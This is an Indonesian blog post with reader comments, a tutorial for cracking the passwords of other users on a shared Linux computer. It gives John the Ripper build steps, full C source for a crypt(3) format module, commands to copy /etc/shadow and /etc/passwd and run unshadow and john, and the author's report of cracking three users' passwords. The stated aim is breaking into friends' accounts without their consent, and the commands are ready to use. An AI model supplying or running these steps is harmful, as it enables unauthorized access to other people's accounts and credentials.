ok, kali ini tutorial tentang membobol password user teman yang masih dalam satu komputer ber-os linux. (satu komputer ber user banyak), membobolnya aku menggunakan os debian(linux64)
1. download disini => John The Ripper
2. Unzip, patch and compile
tar -zxvf john-1.7.*.*.tar.gz cd john-1.7.*.*/src3. Tambahkan patch di john di Makefile, #tepatnya di line 27 untuk versi 1.7.9
LDFLAGS = -s -lcrypt4. Buat file crypt_fmc.c
/* public domain proof-of-concept code by Solar Designer */
#define _XOPEN_SOURCE /* for crypt(3) */
#include "string.h"
#include "unistd.h"
#include "arch.h"
#include "params.h"
#include "formats.h"
#define FORMAT_LABEL   "crypt"
#define FORMAT_NAME   "generic crypt(3)"
#define ALGORITHM_NAME   "?/" ARCH_BITS_STR
#define BENCHMARK_COMMENT  ""
#define BENCHMARK_LENGTH  0
#define PLAINTEXT_LENGTH  72
#define BINARY_SIZE   128
#define SALT_SIZE   BINARY_SIZE
#define MIN_KEYS_PER_CRYPT  1
#define MAX_KEYS_PER_CRYPT  1
static struct fmt_tests tests[] = {
 {"CCNf8Sbh3HDfQ", "U*U*U*U*"},
 {"CCX.K.MFy4Ois", "U*U***U"},
 {"CC4rMpbg9AMZ.", "U*U***U*"},
 {"XXxzOu6maQKqQ", "*U*U*U*U"},
 {"SDbsugeBiC58A", ""},
 {NULL}
};
static char saved_key[PLAINTEXT_LENGTH + 1];
static char saved_salt[SALT_SIZE];
static char *crypt_out;
static int valid(char *ciphertext)
{
#if 1
 int l = strlen(ciphertext);
 return l >= 13 && l < BINARY_SIZE;
#else
/* Poor load time, but more effective at rejecting bad/unsupported hashes */
 char *r = crypt("", ciphertext);
 int l = strlen(r);
 return
     !strncmp(r, ciphertext, 2) &&
     l == strlen(ciphertext) &&
     l >= 13 && l < BINARY_SIZE;
#endif
}
static void *binary(char *ciphertext)
{
 static char out[BINARY_SIZE];
 strncpy(out, ciphertext, sizeof(out)); /* NUL padding is required */
 return out;
}
static void *salt(char *ciphertext)
{
 static char out[SALT_SIZE];
 int cut = sizeof(out);
#if 1
/* This piece is optional, but matching salts are not detected without it */
 switch (strlen(ciphertext)) {
 case 13:
 case 24:
  cut = 2;
  break;
 case 20:
  if (ciphertext[0] == '_') cut = 9;
  break;
 case 34:
  if (!strncmp(ciphertext, "$1$", 3)) {
   char *p = strchr(ciphertext + 3, '$');
   if (p) cut = p - ciphertext;
  }
  break;
 case 59:
  if (!strncmp(ciphertext, "$2$", 3)) cut = 28;
  break;
 case 60:
  if (!strncmp(ciphertext, "$2a$", 4)) cut = 29;
  break;
 }
#endif
 /* NUL padding is required */
 memset(out, 0, sizeof(out));
 memcpy(out, ciphertext, cut);
 return out;
}
static int binary_hash_0(void *binary)
{
 return ((unsigned char *)binary)[12] & 0xF;
}
static int binary_hash_1(void *binary)
{
 return ((unsigned char *)binary)[12] & 0xFF;
}
static int binary_hash_2(void *binary)
{
 return
     (((unsigned char *)binary)[12] & 0xFF) |
     ((int)(((unsigned char *)binary)[11] & 0xF) << 8);
}
static int get_hash_0(int index)
{
 return (unsigned char)crypt_out[12] & 0xF;
}
static int get_hash_1(int index)
{
 return (unsigned char)crypt_out[12] & 0xFF;
}
static int get_hash_2(int index)
{
 return
     ((unsigned char)crypt_out[12] & 0xFF) |
     ((int)((unsigned char)crypt_out[11] & 0xF) << 8);
}
static int salt_hash(void *salt)
{
 int pos = strlen((char *)salt) - 2;
 return
     (((unsigned char *)salt)[pos] & 0xFF) |
     ((int)(((unsigned char *)salt)[pos + 1] & 3) << 8);
}
static void set_salt(void *salt)
{
 strcpy(saved_salt, salt);
}
static void set_key(char *key, int index)
{
 strcpy(saved_key, key);
}
static char *get_key(int index)
{
 return saved_key;
}
static void crypt_all(int count)
{
 crypt_out = crypt(saved_key, saved_salt);
}
static int cmp_all(void *binary, int count)
{
 return !strcmp((char *)binary, crypt_out);
}
static int cmp_exact(char *source, int index)
{
 return 1;
}
struct fmt_main fmt_crypt = {
 {
  FORMAT_LABEL,
  FORMAT_NAME,
  ALGORITHM_NAME,
  BENCHMARK_COMMENT,
  BENCHMARK_LENGTH,
  PLAINTEXT_LENGTH,
  BINARY_SIZE,
  SALT_SIZE,
  MIN_KEYS_PER_CRYPT,
  MAX_KEYS_PER_CRYPT,
  FMT_CASE | FMT_8_BIT,
  tests
 }, {
  fmt_default_init,
  valid,
  fmt_default_split,
  binary,
  salt,
  {
   binary_hash_0,
   binary_hash_1,
   binary_hash_2
  },
  salt_hash,
  set_salt,
  set_key,
  get_key,
  fmt_default_clear_keys,
  crypt_all,
  {
   get_hash_0,
   get_hash_1,
   get_hash_2
  },
  cmp_all,
  cmp_all,
  cmp_exact
 }
};
5. di 32 bit Debian squeezeku, jalankan make linux-x86-sse2atau
make linux-x86-64for 64 bit Debian.
jika masih error, maka install dulu program, make, gcc dan python
apt-get install make python gcc
baru jalankan make linux lagi.
setelah compile berhasil..
copy file /etc/shadow dan /etc/passwd komputer linux tersebut
kedalam folder /run
sudo ./unshadow /etc/passwd /etc/shadow> shadowfileok, sekarang tinggal menjalankan cracking password
./john shadowfile
Saat menjalankan john gunakan screen, karena aku butuh waktu 2 harian(lama bukan??) untuk mendapat 3 password user, sebenarnya ada 6 user, 3 lainnya masih dalam proses cracking..
berikut screenshotnya
jangan lupa lihat sumber dulu ya, kalo error terjadi :
http://pka.engr.ccny.cuny.edu/~jmao/node/26
http://www.openwall.com/john/

 
Wooooo, ajaran sesat iki :p
ReplyDeleteXixixi... nyerah ane sob. Gak ngerti :)
ReplyDeleteSayangnya tidak menggunakan linux, ini tips yang menarik sebenarnya.
ReplyDeletelangsung pusing liat kode-kodenya hihi
ReplyDelete